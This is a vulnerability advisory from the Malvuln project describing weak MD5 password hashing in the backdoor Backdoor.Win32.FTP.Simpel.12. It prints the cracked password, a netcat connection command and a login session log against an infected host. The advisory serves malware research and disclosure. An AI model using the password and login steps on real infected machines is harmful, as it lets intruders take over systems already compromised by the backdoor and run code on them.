Friday, December 31, 2021

Backdoor.Win32.FTP.Simpel.12 Insecure Crypto Implementation

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required to access the server. However, the password hash "!supernova" is stored within the executable using an insecure MD5 hash algorithm and no salt. MD5 is a basic purpose fast hash (not slow) and not using salt allows attackers that gain access to the hash ability to conduct faster cracking attacks using pre-computed dictionaries. Finally, the password is easily recovered as it is a known password hash which can be found online. Third-party intruders who successfully gain access then may be able to upload executables which may result in remote code execution.


Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

nc64.exe x.x.x.x 22

331 Password required for cRaCkeN.
PASS !supernova
230- [LOGIN]
230- [SYSTEM]
230- Aktiv seit : 1 d, 7 h, 41 min, 57 sec
230- [SERVER]
230- Server ist aktiv seit : 28 min, 44 sec
230- Server ist aktiv als : Victim
230- Traffic (Up/Down) : 0.00/0.00 MB
230- Geschw. (Up/Down) : 0/0 KB/sec.
230- Bester Speed (Up/Down): 0/0 KB/sec.
230- Durchschnitsspeed : 0 KB/sec. genutzt. ││
230- ││ SpaceFree : 26197.29 MB ││
230- ││ Benutzer derzeit : 1 von Max. 100 ││
230- ││ ││
230- │├──────────────────────────────[USER]───────────────────────────────┤│
230- ││ ││
230- ││ Willkommen : cRaCkeN
230- Sie sind User : 0 von max. 0 mit ihrem Account
230- Ratio : 1:-1 (Credits: 15 MB)
230- Ihre IP ist :
230 User cRaCkeN logged in.
215 215 UNIX Type: L8
257 Directory created

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore